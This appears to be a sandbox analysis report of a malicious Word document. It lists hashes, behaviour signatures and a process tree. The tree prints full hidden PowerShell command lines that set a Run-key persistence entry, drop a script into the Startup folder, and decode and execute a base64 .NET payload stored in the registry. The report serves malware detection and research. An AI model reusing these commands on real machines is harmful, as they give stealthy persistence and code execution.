Analysis
-
max time kernel
121s -
max time network
133s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
10-10-2024 21:58
Behavioral task
behavioral1
Sample
147f364a78efbe21c664cc3b57b52430a15a2d1856f10e0f4067942e39c9d6dc.doc
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
147f364a78efbe21c664cc3b57b52430a15a2d1856f10e0f4067942e39c9d6dc.doc
Resource
win10v2004-20241007-en
General
-
Target
147f364a78efbe21c664cc3b57b52430a15a2d1856f10e0f4067942e39c9d6dc.doc
-
Size
54KB
-
MD5
c50aa75e55eacfd0a85643c81d6962c5
-
SHA1
3347d3c5b03afcd46ada31639c80174de5eac1df
-
SHA256
147f364a78efbe21c664cc3b57b52430a15a2d1856f10e0f4067942e39c9d6dc
-
SHA512
9e8bcac38eeab864ad914afa1ac81fcecc942dfc0bd90ab8bc3e9b720460792c8040133fc1118dc674263636f6ba28dbc69c4c7290bff13e0bf46394774d9694
-
SSDEEP
768:XRcXUzsZ/e5aO67lghmts3yeibSOFgOK:6X/eG7lghnyDb
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 2488 1712 WScript.exe 29 -
Blocklisted process makes network request 2 IoCs
flow pid Process 10 2456 powershell.exe 15 2456 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 1940 powershell.exe 1728 powershell.exe 2456 powershell.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\avg.js powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2039016743-699959520-214465309-1000\Software\Microsoft\Windows\CurrentVersion\Run\cocacola = "C:\\Users\\Admin\\AppData\\Roaming\\avg.js" powershell.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WINWORD.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Office loads VBA resources, possible macro or embedded object present
-
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0 powershell.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString powershell.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1712 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1728 powershell.exe 1940 powershell.exe 2456 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 2456 powershell.exe Token: SeDebugPrivilege 1940 powershell.exe Token: SeDebugPrivilege 1728 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1712 WINWORD.EXE 1712 WINWORD.EXE -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 1712 wrote to memory of 2488 1712 WINWORD.EXE 31 PID 1712 wrote to memory of 2488 1712 WINWORD.EXE 31 PID 1712 wrote to memory of 2488 1712 WINWORD.EXE 31 PID 1712 wrote to memory of 2488 1712 WINWORD.EXE 31 PID 2488 wrote to memory of 1940 2488 WScript.exe 34 PID 2488 wrote to memory of 1940 2488 WScript.exe 34 PID 2488 wrote to memory of 1940 2488 WScript.exe 34 PID 2488 wrote to memory of 1940 2488 WScript.exe 34 PID 2488 wrote to memory of 1728 2488 WScript.exe 36 PID 2488 wrote to memory of 1728 2488 WScript.exe 36 PID 2488 wrote to memory of 1728 2488 WScript.exe 36 PID 2488 wrote to memory of 1728 2488 WScript.exe 36 PID 2488 wrote to memory of 2456 2488 WScript.exe 38 PID 2488 wrote to memory of 2456 2488 WScript.exe 38 PID 2488 wrote to memory of 2456 2488 WScript.exe 38 PID 2488 wrote to memory of 2456 2488 WScript.exe 38 PID 1712 wrote to memory of 2228 1712 WINWORD.EXE 41 PID 1712 wrote to memory of 2228 1712 WINWORD.EXE 41 PID 1712 wrote to memory of 2228 1712 WINWORD.EXE 41 PID 1712 wrote to memory of 2228 1712 WINWORD.EXE 41
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\147f364a78efbe21c664cc3b57b52430a15a2d1856f10e0f4067942e39c9d6dc.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1712 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\avg.js"2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2488 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'cocacola' -value 'C:\Users\Admin\AppData\Roaming\avg.js' -PropertyType String -Force;"3⤵
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1940
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\avg.js',[System.IO.File]::ReadAllText('C:\Users\Admin\AppData\Roaming\avg.js'))"3⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1728
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'cocacola').cocacola;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2456
-
-
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2228
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
-
Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD5d24b20a56e932fcc624de653b1b7f2c5
SHA133c3e9fee40e8157fbc51f52036679530fbf9e14
SHA256595fcf53b9eda0b6ee38444b2d6636075e1686139742a7aafa8559a064fd75bd
SHA51290b23d75d8037d3ae280d422752cc91b085e62acc6b81cb659ffe7aee847a58c78820141ba24d0a92a4e24ae6379a934ae04f166f409bd5749781ae1ba3d4008
-
Filesize
60KB
MD54d21175948ef7464aaac5cb6a191e2d9
SHA18ba376fa81916b44be0c02ce33813d9cd9c9bdaf
SHA256b81e456cf92319440989cbde2b2484e6e11c6acb03ef493ca18e429294a3117f
SHA512cf2b0162c5707c098254189d2db04dd38e0ab9bfdbbefe8b05843275cdcce5f5d19d4a4d24100c836bdc777d8f78ecd72cd7863adf31d0958a80150ae71ab983